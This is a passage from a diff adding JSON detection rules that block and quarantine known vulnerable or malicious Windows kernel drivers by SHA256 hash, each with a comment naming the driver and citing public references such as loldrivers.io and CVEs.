+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493791Z",
+  "creation_date": "2026-03-23T11:45:31.493795Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493804Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fbebacae253be6dea626ad354061b14a2da0d3c4ef6c9f31b29c7a0128f863ce",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dba785c4-eb61-5d4c-b720-70adb6cac2bb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978049Z",
+  "creation_date": "2026-03-23T11:45:29.978051Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978056Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ae79e760c739d6214c1e314728a78a6cb6060cce206fde2440a69735d639a0a2",
+  "comment": "Vulnerable Kernel Driver (aka ni.sys) [https://www.loldrivers.io/drivers/4f93e19c-4600-4e2e-943f-a986875fd7d2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dbb4e149-6270-5906-b001-ae376909d137",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.475358Z",
+  "creation_date": "2026-03-23T11:45:30.475362Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.475370Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3fb37ecca8742677bd94ef6f6fb195b4baac701525c2140773a6475fa3aa633c",
+  "comment": "Malicious Kernel Driver (aka ef0e1725aaf0c6c972593f860531a2ea.sys) [https://www.loldrivers.io/drivers/8c2df58f-1e02-4911-ad40-3fa4ed1f4333/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dbbd8cca-b1c7-598d-9f84-186ce5806b07",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979203Z",
+  "creation_date": "2026-03-23T11:45:29.979205Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979211Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6a6db5febdaf3f1577bf97c6e1e24913e6c78b134062c02fd1f9875099c03a3f",
+  "comment": "Vulnerable Kernel Driver (aka nt2.sys) [https://www.loldrivers.io/drivers/cacc48e6-6ed8-431c-abee-88ee6c2dc3c1/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dbc0d456-803a-59c2-8e8e-cbc15f4b6267",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.484330Z",
+  "creation_date": "2026-03-23T11:45:31.484333Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.484342Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "86e323a7bfb49e25d7b87b9371bae05b55eee961f7601057bd4f3678334b4bb5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dbc1d65a-8a81-5995-8594-4009c1ae2d90",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620177Z",
+  "creation_date": "2026-03-23T11:45:29.620179Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620184Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "45abdbcd4c0916b7d9faaf1cd08543a3a5178871074628e0126a6eda890d26e0",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dbc37f56-f37f-59cb-950a-e7abdfdec53f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146204Z",
+  "creation_date": "2026-03-23T11:45:31.146206Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146211Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "175bfda05e5038f18daf8df0ace486fcad16d6e6412499e71db6e822ab2ea785",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dbc8516f-5048-5b3e-b974-b39568bf298c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.478379Z",
+  "creation_date": "2026-03-23T11:45:31.478400Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.478433Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c0cd6340e6726716c7f1c000e7b63fd8bca7e74102eb91edddcb4428bc1dd55b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dbd92e0f-8455-5320-a172-9c5fb1ba5840",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150772Z",
+  "creation_date": "2026-03-23T11:45:31.150774Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150780Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "698a74f3c3261d42ba900e1cb213036ec41164faffc39bc9de996243d86f0c33",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dbe6cea0-9b79-59e0-9603-9697a7af59e7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614839Z",
+  "creation_date": "2026-03-23T11:45:29.614841Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614846Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b7a20b5f15e1871b392782c46ebcc897929443d82073ee4dcb3874b6a5976b5d",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dbf1ebe6-8ea0-579c-abd4-8871b12abe54",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977442Z",
+  "creation_date": "2026-03-23T11:45:29.977445Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977454Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4a9093e8dbcb867e1b97a0a67ce99a8511900658f5201c34ffb8035881f2dbbe",
+  "comment": "Vulnerable Kernel Driver (aka ProtectS.sys) [https://www.loldrivers.io/drivers/99668140-a8f6-48f8-86d1-cf3bf693600c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dbf2ab8a-aaf1-5151-8abc-ec5f2f6b6039",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608742Z",
+  "creation_date": "2026-03-23T11:45:29.608744Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608749Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cfad0d75d218ce160f7b7932e39ec4387d2245c3d72eb9d7cfbaa5198aa8cee3",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dc08399e-6e47-53de-8329-8afd6fe89621",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813297Z",
+  "creation_date": "2026-03-23T11:45:31.813300Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813308Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f749a9da70a5b74835bde3210e7388ab8a569dcd73b8d2377569348cd592f8d9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dc2b05a5-453d-5be7-a332-f8f54b5ce3ec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829359Z",
+  "creation_date": "2026-03-23T11:45:31.829362Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829371Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "89fbb4aff9cb0636ff3b732dcc7ce7972337b649212214c72d1172574e30c23e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dc2d5b44-3608-5aec-b5f0-7d30ade9837c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824276Z",
+  "creation_date": "2026-03-23T11:45:30.824278Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824284Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "db0c85649cbf52afdb65c3d5c69357eb24c202ca1de35dc3dad7d75690823a5f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dc3d9437-4ffd-5383-8ff2-c194a175377b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.476404Z",
+  "creation_date": "2026-03-23T11:45:31.476408Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.476418Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bc5fa01c9a3885cbc0e6f4a798f487fbe77aa6c83770c0558f7f72fea7e46b35",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dc41c0c0-67a2-58ad-b54c-1b59f92c3398",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.821962Z",
+  "creation_date": "2026-03-23T11:45:30.821964Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.821970Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "db58973c75b7cb94ffb31ad46fddf2f16f19075a99a69a7de20f8c0e42d96ba0",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dc427c68-8bd9-5d1f-8d4c-6bf8558bf02d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827980Z",
+  "creation_date": "2026-03-23T11:45:31.827983Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827988Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4a996a4b5d494f02a2e70a3cffe28f4ee9d5de7cf48f5363b662163165f4d31e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dc541a5e-a9e1-5f0d-8133-37ea1b045d26",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618907Z",
+  "creation_date": "2026-03-23T11:45:29.618909Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618915Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c349c8036b5ee61e7b0831943697ba98bfe70a52bac0a06b497c229b0c0fff27",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dc607bc5-ba62-5e5f-ba19-7d16421e9ee3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.453519Z",
+  "creation_date": "2026-03-23T11:45:30.453523Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.453532Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "75f1bea34e2bb1d26cf173eba44daeb9bbee8106d43b911a01f73f76be17a165",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dc612226-d7f3-5d7c-b364-f94b6571a046",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.157136Z",
+  "creation_date": "2026-03-23T11:45:31.157138Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.157143Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ae9800e70d6d3511f5e93204310d8d895827d81df2f27f0d662e7ac11bd47527",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dc706fe6-290e-564b-bdfe-5ca26b21bb54",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827362Z",
+  "creation_date": "2026-03-23T11:45:30.827364Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827370Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bd2560bd492ed88f4822a7ce4cd8e4f47f2727895964edcd0f7fe5a419910cb3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dc71c3d9-04ba-5176-8338-01946c39af90",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970140Z",
+  "creation_date": "2026-03-23T11:45:29.970142Z",
+  "enabled": true,
